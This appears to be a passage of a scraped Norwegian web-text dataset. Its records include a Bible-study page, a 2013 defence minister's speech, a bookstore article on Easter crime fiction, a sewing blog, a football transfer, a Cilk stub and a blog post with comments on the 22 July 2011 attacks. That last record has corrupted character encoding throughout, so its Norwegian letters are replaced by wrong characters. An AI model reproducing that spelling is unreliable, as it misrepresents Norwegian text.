ogs\u00e5 betydning. Professor i spr\u00e5kvitenskap Gulbrand Alhaug ved Universitet i Troms\u00f8 har vist s\u00e6rlig interesse for dette. Han har kommet frem til at navnene p\u00e5 f\u00f8rste generasjoner p\u00e5 jorden betyr f\u00f8lgende:\n\nAdam = menneske  \nSet = m\u00e5lt eller tildelt  \nEnos = d\u00f8d eller d\u00f8dens  \nKenan = sorg  \nMahalalel = den velsignede Gud  \nJared = skal komme ned  \nEnok = l\u00e6re eller forkynner  \nMetusalah = hans d\u00f8d skal bringe  \nLamek = de fortvilede  \nNoah = tr\u00f8st eller hvile.\n\nAlts\u00e5 budskapet om Guds frelse er allerede beskrevet i de f\u00f8rste menneskers navn f\u00f8r Gud utvalgte Abraham. (beskrevet i 1. Mos 12ff)\u00a0\n\n\u00a0\n## Kort om Sabbats\u00e5ret og Jubel\u00e5ret\n## Oppgaver til tekstene - omtale av bidragsyterenes arbeid\n\nDe nye oppgavene til s\u00f8ndagstekstene er laget av Oddbj\u00f8rg og Tor Helge \u00d8ygarden som koordinerer arbeidet for Precept Ministry International (PMI) i Norge. Her kommer en liten omtale av deres arbeide, som de selv har skrevet. Som koordinatorer av PMI arbeid i Norge oversetter og trykker de bibelstudiemateriell og har oppl\u00e6ring i bruk av dette.\n\nVi har gjennomf\u00f8rt utdanningssystemet PMI har for veiledere i induktivt bibel studie (IBS). Det kan bygges ut til \u00e5 bli l\u00e6rere p\u00e5 PMI\u00b4s bibelinstitutter.\n\nInduktivt bibel studie er \u00e5 s\u00f8ke svar direkte fra Bibelen. Ordet induktivt betyr \u00e5 g\u00e5 direkte til kilden. Et av hovedprinsippene i IBS er at Bibelen forklarer Bibelen. Alle studie bolker bygger p\u00e5 et induktivt studie over b\u00f8ker i Bibelen.\n\nHer er eksempler p\u00e5 Precepts studie bolker:\n\nMenighets planting (Filipperbrevet), tids planlegging ( 2. Tessalonikerne), evangelisering og disippelskap (Johannes evangeliet), doktriner (Romerbrevet/pakt)\n\nIsraels historie (Daniels bok), vanskelige tema i Bibelen, veiledning/sjelesorg (Marriage Without Regrets), prekenl\u00e6re, og kristen etikk.\n\nStudie materiellet er b\u00e5de praktisk og pedagogisk. B\u00f8ker fra Precept er oversatt til ca 70 forskjellige spr\u00e5k. P\u00e5 www.precept.org finner du alle b\u00f8kene som er utgitt p\u00e5 engelsk.\n\nStudie materiellet er nyttig til personlig vekst, til opplegg i bibelgrupper eller til forberedelse av undervisning. Da b\u00f8kene ogs\u00e5 er lette \u00e5 f\u00e5 tak i p\u00e5 engelsk kan en lett bruke de inn i tverrkulturelle grupper.\n\n**B\u00f8kene som er oversatt til norsk er:**\n\n\u00b7Tilgivelse- kraften som bryter fortidens makt. Overvinn frykt. St\u00e5 opp til kallet om ledelse. Titus \u2013 en bok om \u00e5 ha karakter som leder. Hjelp -\u00a0 jeg har f\u00e5tt problemer\\! Et studie over Jakobs brev. En barnebok som passer like godt for voksne.\n\nB\u00f8kene om tilgivelse, frykt og ledelse inneholder de bibel vers du trenger i studieboken, og man trenger ikke egen Bibel for \u00e5 bruke den. Studieboken \"Titus\" inneholder hele Titus brev, og \"Hjelp jeg har problemer\" inneholder hele Jakobs\u00a0 brev.\n\nI begge disse m\u00e5 en bruke Bibel for \u00e5 sl\u00e5 opp kryssreferanser.\u00a0\n\nOm en har grupper med flere nasjoner anbefales \u00e5 kombinere norske og engelske b\u00f8ker. \u00a0Om du trenger store mengder b\u00f8ker p\u00e5 andre spr\u00e5k,\u00a0 kan vi v\u00e6re behjelpelige med \u00e5 finne kontakt personer til deg som kan formidle dette.\n\nVi har avtale med Bibelselskapet om brukt av bibeltekster fra 2011 oversettelsen.\n\nB\u00f8kene er godkjent av Kristelig studieforbund (K-Stud).\n\nOmtale av de norske b\u00f8kene finner du p\u00e5 www.precept.no\n\nTor Helge \u00d8ygarden - oygarden @online.no Mob 90 16 22 99 B\u00f8kene kan ogs\u00e5 kj\u00f8pes hos Sandnes kristelige bokhandel bok og media, Langgt 24\n\nTlf\u00a0 51 66 55 15\n\n", "language": "no", "__index_level_0__": "e1564dce-36e6-4a0c-be0c-2f582e8d00e4"}
{"url": "https://www.regjeringen.no/no/aktuelt/tale-ved-skifte-av-forsvarssjef-festning/id745829/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:51:39Z", "text": "# Tale ved skifte av forsvarssjef, Festningsplassen, 19. november\n\nAdmiral Haakon Bruun-Hanssen ny forsvarssjef etter general Harald Sunde\n\nTale/innlegg | Dato: 19.11.2013  | Forsvarsdepartementet \n\nAv: Forsvarsminister Ine Eriksen S\u00f8reide\n\nForsvarsminister Ine Eriksen S\u00f8reide holdt denne talen ved skiftet av forsvarssjef p\u00e5 Festningsplassen, Akershus Festning 19. november 2013. Admiral Haakon Bruun-Hanssen tar over som ny forsvarssjef etter general Harald Sunde.\n\n\u00a0\n\n*\\*sjekkes mot fremf\u00f8ring\\**\n\nStortingspresident, forsvarssjef, generaler, soldater, mine damer og herrer, \u00a0\u00a0\n\nI dag er en viktig dag for det norske forsvaret.\n\nVi skal ta takke av en utg\u00e5ende forsvarssjef og \u00f8nske en ny forsvarssjef velkommen.\n\nVi skal markere at en stor og viktig gjerning er ved veis ende og at en ny gjerning skal ta til.\n\nDenne seremonien inneholder et stort alvor. Dagen i dag er en h\u00f8ytidelig stund rammet inn av nettopp den anerkjennelsen. \u00a0\n\nDet er stort alvor i at en ny forsvarsjef tar over som \u00f8verste leder av en etat som har som sin viktigste oppgave \u00e5 forsvare landet mot ytre kriser og farer.\n\nDet er en anerkjennelse til utg\u00e5ende og p\u00e5troppende forsvarssjef at det nettopp er dere to som st\u00e5r her i dag.\n\nI dag vil jeg p\u00e5 vegne av regjeringen takke general Harald Sunde for hans tid som forsvarssjef. \u00a0\n\nGjennom fire \u00e5r har du s\u00f8rget for en solid og trygg ledelse av Forsvaret.\n\nDu har ledet Forsvaret i en tid da vi har tatt viktige steg mot et innsatsforsvar.\n\nDu har v\u00e6rt forsvarssjef for et forsvar som har hatt tunge og krevende oppdrag i internasjonale operasjoner.\u00a0\u00a0\u00a0\n\nDu har gitt v\u00e5re veteraner et ansikt. Dine ord om at \u00abveteranene var, er og forblir v\u00e5re soldater\u00bb, har banet veien for ny og bedre veteranpolitikk.\u00a0\u00a0\u00a0\n\nHer hjemme har du bidratt til og styrt en t\u00f8ff, men vellykket omstilling.\n\nDu har tydelig angitt retning for etaten og for ansatte som tatt omstillingens tyngste l\u00f8ft.\n\nDu har i ord og gjerning oppmuntret alle forsvarsgrener til \u00e5 g\u00e5 samlet. Du har gitt alle et felles m\u00e5l. Ditt mantra har v\u00e6rt \u00abEtt forsvar\u00bb.\u00a0\u00a0\u00a0\n\nGjennom Forsvarssjefens fagmilit\u00e6re r\u00e5d viste du vei for et forsvar som \u00f8nsker \u00e5 videreutvikle og styrke den operative evnen.\n\nEn h\u00e6r med st\u00f8rre innslag av vervede og profesjonelle soldater, tuftet p\u00e5 verneplikten.\n\nEt heimevern som bringes tilbake til r\u00f8ttene.\u00a0\n\nEt luftforsvar som n\u00e5 begynner sin hovedomstilling for \u00e5 kunne fase inn nye kampfly.\n\nEt forsvar som en kunnskaps- og kompetanseorganisasjon.\n\nOg et forsvar som i sin struktur, beredskap og tilgjengelighet er beredt til \u00e5 bist\u00e5 det sivile samfunn ved kriser.\n\nGeneral Sunde. Jeg vil takke deg for at du i dag overleverer en etat i god skikk.\n\nAdmiral Bruun-Hanssen. I deg f\u00e5r Norge en forsvarsjef jeg er trygg p\u00e5 vil tjene landet og Forsvaret godt.\n\nJeg har tillitt til at du vil ta videre arbeidet med videreutvikle og modernisere Forsvaret.\u00a0\n\nOg jeg har tillitt til at du vil fortsette arbeidet med \u00e5 styrke Forsvarets operative leveranser.\n\nDu nyter stor tillit innad i organisasjonen. Det sies om deg at du har en personlighet som skaper ro og er samlende.\n\nSom Generalinspekt\u00f8r i Sj\u00f8forsvaret og sjef for Forsvarets operative hovedkvarter, har du betydelig innsikt i den etaten du er satt til lede.\n\nDu bringer med deg viktig kunnskap om Forsvarets operative kapasiteter. Du har ledet og truffet viktige beslutninger i operasjoner hjemme og ute.\n\nDu vet bedre enn de fleste hvordan soldatene opplever hverdagen, enten det er i Indre Troms, Aden-bukta eller i Afghanistan.\n\nI deg f\u00e5r vi en forsvarssjef som vet hvilken risiko v\u00e5re soldater tar for at vi skal f\u00e5 oppleve i trygghet.\u00a0\n\nMed stor verdighet og innlevelse har du m\u00f8tt etterlatte og kolleger av dem som betalte den h\u00f8yeste pris.\n\nI de kommende \u00e5r skal du lede et forsvar som skal fortsette moderniseringen. Du skal lede et forsvar som skal forberede innfasingen av nye kampfly og som fortsatt skal videreutvikles og moderniseres. Og du skal lede et forsvar som g\u00e5r inn i en ny og annerledes fase i sitt et langvarige og viktige engasjement i Afghanistan.\n\nEn av dine viktigste utfordringer blir \u00e5 reformere personell- og kompetansestrukturen for \u00e5 rekruttere, utvikle og beholde kompetansen i Forsvaret.\n\nJeg ser fram til \u00e5 samarbeide med deg om dette og mange andre viktige oppgaver for Forsvaret fremover.\n\nJeg vil med disse ord f\u00e5 \u00f8nske dere begge alt godt videre.\n\n", "language": "no", "__index_level_0__": "9c0d5e13-2f8d-41e3-89e7-1b5aaad0741f"}
{"url": "https://www.paleet.no/2018/03/07/sesong-for-krim/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:38:41Z", "text": "# Paleet Oslo\n\n# Sesong for krim\\!\n\nFestival og p\u00e5skefjell. Ul\u00f8ste mordg\u00e5ter og g\u00e5sehud. Velkommen inn i krimmens verden hos Tanum.\n\n\n\nKultur\n\nAv: Redaksjonen7. mars 2018\n\nVinteren har bestemt seg for \u00e5 holde seg fast med jernh\u00e5nd. Mellom sludd og kuldegrader finner vi gleden i fem kopper te om dagen, altfor mange ullpledd, \u00e5 brenne en telyspakke i uken, og selvf\u00f8lgelig med en god bok mellom hendene.\n\nI disse dager er det spesielt \u00e9n boksjanger vi nordmenn dykker ned i. Ja, vi snakker selvf\u00f8lgelig om krim.\n\n\n\n> V\u00e5re utenlandske bokhandelvenner lurer alltid p\u00e5 hvorfor akkurat p\u00e5ske er en s\u00e5 stor h\u00f8ysesong for krim i Norge.\n\nArild, Tanum Karl Johan\n\nMellom gr\u00f8nne reoler, de ansattes tips og tusenvis av titler finner vi Arild. Vi er litt tidlig ute, og vi observerer han p\u00e5 avstand. Gestikulerende, smilende og im\u00f8tekommende. Han forklarer ivrig om en bok av en fransk forfatter til en kunde p\u00e5 jakt etter ny lektyre. Han holder fem b\u00f8ker i den ene armen og plukker ned en sjette med den andre.\n\nHan beklager selvom det ikke er noe \u00e5 beklage. Det var jo vi som var tidlig ute.\n\n\u00a0\n**\u2013 Det er faktisk ganske unikt for nordmenn dette med p\u00e5skekrim. V\u00e5re utenlandske bokhandelvenner synes alltid det er like moro n\u00e5r vi snakker om hvordan hele Norge g\u00e5r inn i krimmodus i akkurat denne perioden. Imorgen g\u00e5r jo ogs\u00e5 krimfestivalen av stabelen her i Oslo, s\u00e5 n\u00e5 er vi i skikkelig modus for \u00e5 l\u00f8se krimg\u00e5ter, alle sammen\\!**\n\n\n\nFoto: Cappelen Damm, Aschehoug og Paleet\n\n**Krimfestivalen i Oslo**\n\nDe siste \u00e5rene har v\u00e6rt en gullalder for nordisk krim. Krimfestivalen \u00f8nsker \u00e5 utforske dette fenomenet og sette nordisk krim inn i et internasjonalt perspektiv. Den f\u00f8rste festivalen, som ble arrangert i 2012, ble umiddelbart en stor suksess. Avisen The Guardian har blant annet trukket fram Krimfestivalen som\u00a0en av verdens fremste krimfestivaler.\n\n**Torsdag 8. mars til l\u00f8rdag 10. mars er det igjen klart for Krimfestivalen i Oslo**, med Tanum Karl Johan som en selvskreven arena for krimcaf\u00e9 med kriminelt gode samtaler med spennende forfattere:\n\n**Torsdag 8.mars kl 16:00**\n\nM\u00f8t H\u00e5kan Nesser, Mariette Lindstein og Graeme Macrea Burnet i samtale med Fredrik Wandrup  \n\n**Fredag 9.mars kl 16.00**\n\nM\u00f8t Anders de la Motte, J\u00f8rgen J\u00e6ger og Karen Dionne i samtale med Fredrik Wandrup\n\n\u00a0***Se \u00e5rets fullstendige program HER.***\n\n\u00a0\n\n\nFoto: Cappelen Damm\n\n> Jeg har lest mye faglitteratur i psykologi og har sikkert en dr\u00f8ss med diagnoser selv.\n\nUnni Lindell\n\n**\u00c5rets p\u00e5skekrim**\n\nArild leser mye krim selv. Han trekker frem Heine Bakkeid, Anders de la Motte og Peter May sine nyeste romaner som denne p\u00e5skens beste leseropplevelser.\n\n**\u2013 VG kastet terningskast seks p\u00e5 Bakkeid's *M\u00f8t meg i Paradis*. Den er smart og har et vanvittig godt plot.\u00a0Anders de la Motte har skrevet seg inn i tetsjiktet av svenske krimforfattere, og hans forrige bok vant den svenske krimprisen. Her i Norge har han v\u00e6rt en litt skjult perle, mest for kjennere, men med\u00a0*Sensommer*\u00a0er jeg sikker p\u00e5 at han\u00a0kommer til \u00e5 n\u00e5 et langt bredere publikum. *Lewisbrikkene*\u00a0 av Peter May er den tredje, avsluttende delen i Peter Mays Lewis-trilogi etter Svarthuset og Lewismannen.\u00a0Dette er siste bok i Lewis-trilogien om etterforsker Fin Macleod. De to f\u00f8rste b\u00f8kene har f\u00e5tt terningkast seks i en rekke norske aviser \u2013 og Ingvar Ambj\u00f8rnsen k\u00e5ret \u00abLewismannen\u00bb til en av de viktigste krimutgivelsene p\u00e5 norsk i 2017. Med Lewisbrikkene f\u00e5r vi n\u00e5 avslutningen, til tilhengernes store jubel.\u00a0**\n\n\n\n> D\u00e5rlige handlinger blir ikke skumle med mindre du bryr deg om menneskene det skjer med.\n\nC.J. Tudor\n\n**Nordic Noir**\n\nEn god krim er en krim er en troverdig krim som evner \u00e5 overraske, i f\u00f8lge Arild.\n\n**\u2013 Det spiller liksom ingen rolle hvor teknisk velskrevet det er hvis det ikke er et troverdig plot.\u00a0**\n\nBegrepet Nordic Noir har spredt seg som en hype. Evnen til \u00e5 balansere m\u00f8rke historier med et enkelt spr\u00e5k, og troverdige milj\u00f8skildringer sett gjennom \u00f8ynene til en etterforsker har satt de nordiske landene p\u00e5 det internasjonale krimkartet.\n\n**\u2013 Jeg synes forfatteren C.J. Tudor sier det veldig godt. Hun har virkelig f\u00e5tt sitt gjennombrudd med *Krittmannen*, en roman hun beskriver som m\u00f8rk, men med hjerte. Hun sier at d\u00e5rlige handlinger ikke blir skumle med mindre du bryr deg om menneskene det skjer med. At en bok f\u00f8rst og fremst handler om personene. De eier historien, og derfor bli den oppfattet som skummel.\u00a0**\n\n\n\nIllustrasjon: Aschehoug\n\n**Nesb\u00f8s Macbeth**\n\nDen 15.mars treffer Jo Nesb\u00f8 bokhyllene hardt igjen. Denne gangen med sin egen versjon av Shakespares Macbeth. I William Shakespares tragedie fra 1606 er hovedpersonen en modig h\u00e6rf\u00f8rer som sloss for den skotske kongen. I Nesb\u00f8s versjon blir Macbeth en barsk krim fra en lurvete syttitallsmetropol.\n\n**\u2013 Ja, det er klart at hele krimverden holder pusten og burer seg inne n\u00e5r Jo Nesb\u00f8 kommer med ny bok,** sier Arild.\n\n***Pssst\u2026*** Den 15. mars kl.17.00 kommer Jo Nesb\u00f8 til Paleet i forbindelse med lanseringen av Macbeth\\!\n\n\n\nTil deg som ikke liker krim.\n\n**B\u00f8ker og varme hytter**\n\nTilbake til ullpledd og telys. Til fyr i peisen og m\u00f8rke landskap utenfor sm\u00e5 hytter. P\u00e5sketid er krimtid, stort sett for hele Norge, kun avbrutt av p\u00e5sken\u00f8tter, lam til middag, skiturer og sene frokoster.\n\nKanskje er v\u00e5r fascinasjon for krim s\u00e5 stor rett og slett fordi vi bor i et av verdens tryggeste land. Kanskje er det naturen v\u00e5r, med store, \u00f8de omr\u00e5der som gir oss g\u00e5sehudsupplement under pleddene v\u00e5re, eller kanskje vi rett og slett bare har ekstra tid til b\u00f8ker i p\u00e5sken. Uansett, p\u00e5sken n\u00e6rmer seg med storskritt, og vi kan ikke annet enn \u00e5 glede oss til mordg\u00e5ter og skikkelig m\u00f8rke romaner.\n\nOg, til deg som mot all formodning ikke skulle like krimsjangeren har Arild en klar beskjed.\n\n**\u2013 Det er klart det ikke er alle som liker krim, og til tross for at p\u00e5sken gjerne forbindes med nettopp denne sjangeren er hyllene v\u00e5re n\u00e5 fylt til randen av nye, helt fantastiske titler for \u00e5ret. Sp\u00f8r oss gjerne om r\u00e5d, og la p\u00e5sken bli sesongen for den gode historien \u2013 uansett sjanger\\!\u00a0**\n\n", "language": "no", "__index_level_0__": "c9ec43df-b5a0-4ba3-93e9-b9f2abe16dea"}
{"url": "http://syglad.blogspot.com/2011/05/nytt-prosjekt-pa-gang-resteteppe.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:38:50Z", "text": "\n\n## mai 20, 2011\n\n### Nytt Prosjekt p\u00e5 gang... \"Resteteppe kanskje\"??\n\n\n\n  \nFor en ukes tid siden ryddet jeg p\u00e5 sy rommet mitt og da fant jeg ut\u00a0\n\natt jeg m\u00e5tte f\u00e5 brukt noe av restene jeg har liggende.\n\nSelv er jeg veldig glad i restene mine, de gir meg inspirasjon og glede.\n\n  \nMen n\u00e5 holdt de p\u00e5 og vokse meg over hodet, s\u00e5 da er det bare og sette i gang :-)\n\nJeg kommer til og lage et teppe denne gangen tenker jeg...  \n  \n\n\n\nTro om jeg kan bruke dette til noe lurt,m\u00e5 legge det i en box og se  \nom det kommer en id\u00e9 senere ....  \n\n\n\nHer er jeg i full gang med series\u00f8m, kommer til og bli lekkert...  \nLappene er kuttet i 2,5x4 inch om noen lurer...  \n\u00d8nsker dere alle en fin kveld..  \n\nsylvi ruud  kl. \n\n5/20/2011              \n\n#### 3 kommentarer:\n\n1.  \n    \n    gyldenkron21. mai 2011 kl. 08:37\n    \n    Oi, dette blir spennende. Er misunnelig p\u00e5 dere som har dressur p\u00e5 symaskina\n    \n2.  \n    \n    sipusa21. mai 2011 kl. 10:12\n    \n    Resteteppe h\u00f8res kjempestilig ut\\! M\u00e5 huske \u00e5 f\u00f8lge med s\u00e5 jeg f\u00e5r vite hvordan det blir:-)\n    \n3.  \n    \n    Popsinune21. mai 2011 kl. 15:21\n    \n    Mange flotte farger og m\u00f8nster du har der, s\u00e5 det kan bli et fin-fint teppe ja\\!\n    \n\n## Dette er syglad.\n\n\n\n", "language": "no", "__index_level_0__": "d5977e8f-fbdc-4ccf-8876-98a677902a1b"}
{"url": "http://sceneweb.no/nb/production/49280/Suffl%C3%B8ren-2015-9-10", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:25:46Z", "text": "***Suffl\u00f8ren***\u00a0(2015) var en teaterproduksjon av **Oslo Nye Teater**. *Suffl\u00f8ren* bygget p\u00e5 en monolog av **Andreas T. Olsson**s med samme tittel. Produksjonen blir spilt p\u00e5 **Centralteatret**.\n\nRegiss\u00f8r var **Kim Bjarke**.\n\n**Nils Vogt** spiller tittelrollen.\n\n", "language": "no", "__index_level_0__": "a68dbfb2-9fdb-45d7-9a4f-42008649f106"}
{"url": "http://www.rbk.no/nyheter/meling-klar-for-rosenborg", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:46:02Z", "text": "\n\n# Meling klar for Rosenborg\n\nRosenborg og Stab\u00e6k er enige om en overgang for Birger Meling.  Video \n\nBirger Meling skrev onsdag under en 4-\u00e5rskontrakt med Rosenborg.\n\n\\- Det er litt spesielt \u00e5 v\u00e6re klar for Rosenborg, det m\u00e5 jeg innr\u00f8mme. Men n\u00e5 er jeg p\u00e5 plass for \u00e5 kjempe om titler i Norges st\u00f8rste klubb, sier Meling til RBK.no.\u00a0\n\nOg som alltid vil konkurransen v\u00e6re t\u00f8ff om en plass i startelleveren i Rosenborg. Det kampen er Meling klar til \u00e5 ta.\n\n\\- Jeg er ikke kommet hit for sitte p\u00e5 benken. Jeg har tenkt \u00e5 spille kamper. S\u00e5 f\u00e5r vi se i hvilken posisjon det blir, sier han.\u00a0\n\nMeling er f\u00f8dt og oppvokst i Stavanger, og spilte for Viking i ungdoms\u00e5rene frem til han var 18 \u00e5r gammel. I 2013 skrev han under for\u00a0Middlesbrough, men etter ett \u00e5r i England vendte han nesen hjem til Norge igjen.\n\nSommeren 2014 skrev han under for Stab\u00e6k hvor han har v\u00e6rt blant lagets mest markante spillere siden. Meling har ogs\u00e5 6 kamper for Norges U21-landslag.\n\n", "language": "no", "__index_level_0__": "9f512d72-4e47-444c-8814-8c44c0897557"}
{"url": "https://no.wikipedia.org/wiki/Cilk", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:41:16Z", "text": "# Cilk\n\n**Cilk** er et programmeringsspr\u00e5k som er konstruert for parallelle beregninger ved hjelp av multitr\u00e5der. Syntaksen i Cilk er basert p\u00e5 programmeringsspr\u00e5ket C. Cilk ble laget i Laboratory for Computer Science ved Massachusetts Institute of Technology, og blir idag videreutviklet av Intel. P\u00e5 tross av flere likheter, er Cilk ikke direkte avledet av Concurrent C.\n\nEn kommersiell versjon av Cilk, kalt Cilk++, bygger p\u00e5 syntaksen til b\u00e5de C og C++.\n\n", "language": "no", "__index_level_0__": "fecbc063-1c97-4cf9-ba84-6cdbd55dd169"}
{"url": "http://linni.blogg.no/1311352451_god_bless_norway_la_o.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:50:06Z", "text": "# LinniMeister\n\nHei kj\u0107re leser\\! Jeg heter Linni Meister og er mor til verdens beste gutt - Dennis Michael. Jeg jobber som Tv-profil, modell, blogger og er n\u013a ute med min egen kleskolleksjon \"Be Fantastic - By Linni \" p\u013a Illusion.no. Her f\u013ar du se hvem jeg egentlig er.\n\n  \n## God bless Norway\\!\n\n22.07.2011\n\n  \n\n  \nGod bless Norway\\!\n\n\u00a0\nLa oss f\u013a frem det gode i oss og ikke det motsatte, spesielt etter dette.\n\n\u00a0\nForferdelig at dette skjedde et av verdens tryggeste og beste land.. Norge skal jo v\u0107re et trygt og godt land \u013a bo i. Mine tanker g\u013ar til de som ikke fikk hjem de som omkom idag;( Forferdelig\\! Ta vare p\u013a hvert sekund av livet deres folkens, man vet aldri hva morgendagen vil bringe.\n\n\u00a0\nI love you\\!\\!\\!\\!\n\n  \n\n\n  \n\n\n# Ragnhild\n\n22.07.2011 kl.18:43\n\nHelt riktig Linni\\! Trodde at Norge var et land det IHVERTFALL ikke kom til \u013a bli noe s\u013ant\\! F\u013ar litt flashback fra katastrofen 11.september i New York\\! Vi s\u013a et klipp fra det og Oslo ligner jo veldig n\u013a... \u0139\u013a\u013a det er s\u013a ekkelt\\! Heldigvis har ikke New York hatt noen terror aksjoner etter denne hendelsen, og det er godt\\! F\u013ar bare h\u013ape at denne er den enseste her i landet ogs\u013a\\! Selv om vi kommer til \u013a bli preget av dette lenge\\! Og Ut\u0159ya ogs\u013a\\! vennen til s\u0159skenbarnet mitt er der\\! H\u013aper det ikke har skjedd noe med han\\! Vi f\u013ar krysse fingrene for at politiet f\u013ar tatt de j\u0107\\*\\*\\*\\*\\* som har gjort dette\\!\n\n\n\n# Victoria76.blogg.no\n\n22.07.2011 kl.18:51\n\nUff,tenk p\u013a de somm ble skadet ;( Men den som slapp bomba er sikkert d\u0159d nu..\n\n\n\n# Amalie\n\n22.07.2011 kl.18:54\n\nHelt enig,Linni \\!  \n  \nKjempe fint bilde av deg Linni \\! :-D\n\n\n\n# \n\n22.07.2011 kl.19:19\n\n:( syyyyyykt\\! merket du noe til det? smellet?(sikkert et dumt sp\u0159rsm\u013al  \n  \n)\n\n\n\n# Anonym\n\n22.07.2011 kl.19:24\n\nTakk for oppmutringen Linni\\!\\! Du er en utrolig varm person:-)\n\n\n\n# \u0139shild\n\n22.07.2011 kl.19:26\n\nJa :(\n\n\n\n# Ida\n\n22.07.2011 kl.19:33\n\ntenner et lys for alle idag og gir alle rundt meg en ekstra god klem\\! Du er nydelig som alltid\\!\n\n\n\n# L\n\n22.07.2011 kl.19:34\n\nDet her er skummelt\\! Det er f\u0159rst n\u013ar noe s\u013ant skjer man begynner \u013a tenke p\u013a alt det vi har, og hvor trygt land vi egentlig er\\! Skikkelig ille med de som omkom idag, og de som sitter igjen med f\u0107rre familiemedlemmer\\! uff...  \n  \nPs: kjempefint bilde av deg Linni\\!\n\n\n\n# Malin\n\n22.07.2011 kl.19:43\n\nHeei, Linni \\<3  \n  \nJeg tenker p\u013a alle som bor nede i Oslo \\! Og ikke minst noen i min familie bor der nede \\! Jeg er livredd for hvordan det g\u013ar med min bestemor akkurat n\u013a....  \n  \nJeg har snakket med min pappa og min tante s\u013a egentlig tror jeg det g\u013ar bra. Men jeg klarer virkelig ikke \u013a se p\u013a tv2nyhetene eller facebook for det er bare noe om det som har skjedd i Oslo og jeg er s\u013a\u013a\u013a\u013a redd for at det skal skje noe liggnende som har skjedd der ned her jeg bor.  \n  \nStakars deg som bor i Oslo , Jeg tror virkelig ikke at jeg har klart og v\u0107rt der nede akkurat n\u013a. For noen uker siden l\u013a jeg p\u013a et hotell ikke s\u013a langt unna der det har skjedd.....  \n  \nTenker p\u013a alle som har blitt omkomne og de som har v\u0107rt til stede i dag \\<3\n\n\n\n# Victoria76.blogg.no\n\n22.07.2011 kl.19:48\n\nTenk at en Bombe er sluppet i OSLO .. flaks at statsministeren ikke er blitt borte ;((\n\n\n\n# eline\n\n22.07.2011 kl.19:53\n\n1 kommentar....JIPPI  \n  \nDet som skjedde p\u013a Oslo sentrum og ut\u0159va var forferdelig  \n  \nForestten s\u013a var du veldig fin p\u013a det bilde\n\n\n\n# eline\n\n22.07.2011 kl.19:56\n\n1 kommentar......JIPPI  \n  \nDet som skjedde i Oslo sentrum og ut\u0159ya var helt forferdelig\\!\\!\\!\\!\\!\\!  \n  \n\n\n# Mari\n\n22.07.2011 kl.19:57\n\nVeldig godt skrevet, Linni. Jeg er s\u013a enig med det du sier om \u013a ta vare p\u013a hverandre og hvert \u0159yeblikk:-) Klem til deg\n\n\n# Susan\n\n22.07.2011 kl.20:10\n\nDet er helt sykt\\!\\! :(\n\n\n\n# Bj\u0159rg\n\n22.07.2011 kl.20:10\n\nLinni, jeg er kun en \"smugtitter\" p\u013a den koselige bloggen din. Men n\u013a m\u013a jeg bare legge igjen en kommentar. Det er helt grusomt det som vises p\u013a tv av det som har skjedd i Oslo og p\u013a Ut\u0159ya.\n\n\n\n# \n\n22.07.2011 kl.20:11\n\ndu lever vel? :) \\<3\n\n\n\n# Lilly\n\n22.07.2011 kl.20:14\n\nJeg er helt enig. Dette er forferdelig. Jeg var der da det skjedde og jeg har ikke ord\\! Norge har jo alltid v\u0107rt v\u013art kj\u0107re trygge hjem. Synd vi ikke lenger kan si det\n\n\n\n# theresekristina\n\n22.07.2011 kl.20:29\n\nDet er heilt f\u0107lt\n\n\n\n# lise\n\n22.07.2011 kl.20:45\n\nhelt enig med deg linni:) vi m\u013a ta vare p\u013a hverandre, det er grusomt det som har skjedd b\u013ade i oslo og ut\u0159y. stakkars de p\u013ar\u0159rende:(\n\n\n\n# \n\n22.07.2011 kl.20:46\n\n\u0139h, jeg elsker bloggen din , Linni.  \n  \nBloggen din f\u013ar meg alltid til \u013a stoppe og tenke.  \n  \nOg s\u013a gir du alle leserene dine masse kj\u0107rlighet.  \n  \nTusen takk \\<3  \n  \nOg jeg er helt enig , dette er forferdelig\n\n\n\n# Sheepish =)\n\n22.07.2011 kl.21:12\n\nDu er eid Linni\\! Skikkelig s\u0159t jente er du :) Ja, det er sykt.. Norge er jo et bra land jaja..\n\n\n\n# \n\n22.07.2011 kl.21:12\n\nLINNI \\<3\\<3\\<3\n\n\n\n# hjertebarnsblogg\n\n22.07.2011 kl.21:23\n\nHelt grusomt,eier ikke ord.Varme tanker til de etterlatte,og skadde. Det som skjer p\u013a ut\u0159ya ogs\u013a,nei,helt grusomt\\! Rart \u013a sitte \u013a se p\u013a de store verdens kanalene som CNN og BBC NEWS alt handler om Norge og Oslo.  \n  \nHvem skulle trodd dette skulle skje i trygge Norge?\n\n\n\n# tulling2.blogg.no\n\n22.07.2011 kl.21:32\n\nDet var veldig fint skrevet av deg \\<3 Og er helt enig med deg og om alt du har skrevet. Jeg har aldri trudd at dette skulle skje med Norge.. Det er s\u013a forferdelig, vi har jo altid v\u0107rt ett trygt land og tatt i mot de som har trengt hjelp ogs\u013a skjer dette :( Jeg blir s\u013a forferdelig tris av dette :(\n\n\n\n# Alice\n\n22.07.2011 kl.21:34\n\nKjempe skummelt \\!\\!\\!  \n  \nhttp://www.dagbladet.no/2011/07/22/nyheter/bombe/innenriks/afghanistan/oslo/17417620/\n\n\n\n# Charlotte Bilden\n\n22.07.2011 kl.21:56\n\ner helt enig der med deg linni.  \n  \nhar ikke ord jeg :( hvorfor m\u013atte det skje??? :(  \n  \ner s\u013a\u013a\u013a\u013a redd :( \\<3\n\n\n\n# malinandrea99\n\n22.07.2011 kl.22:13\n\nSant det du sier. Tror ingen hadde forventet det som skjedde i 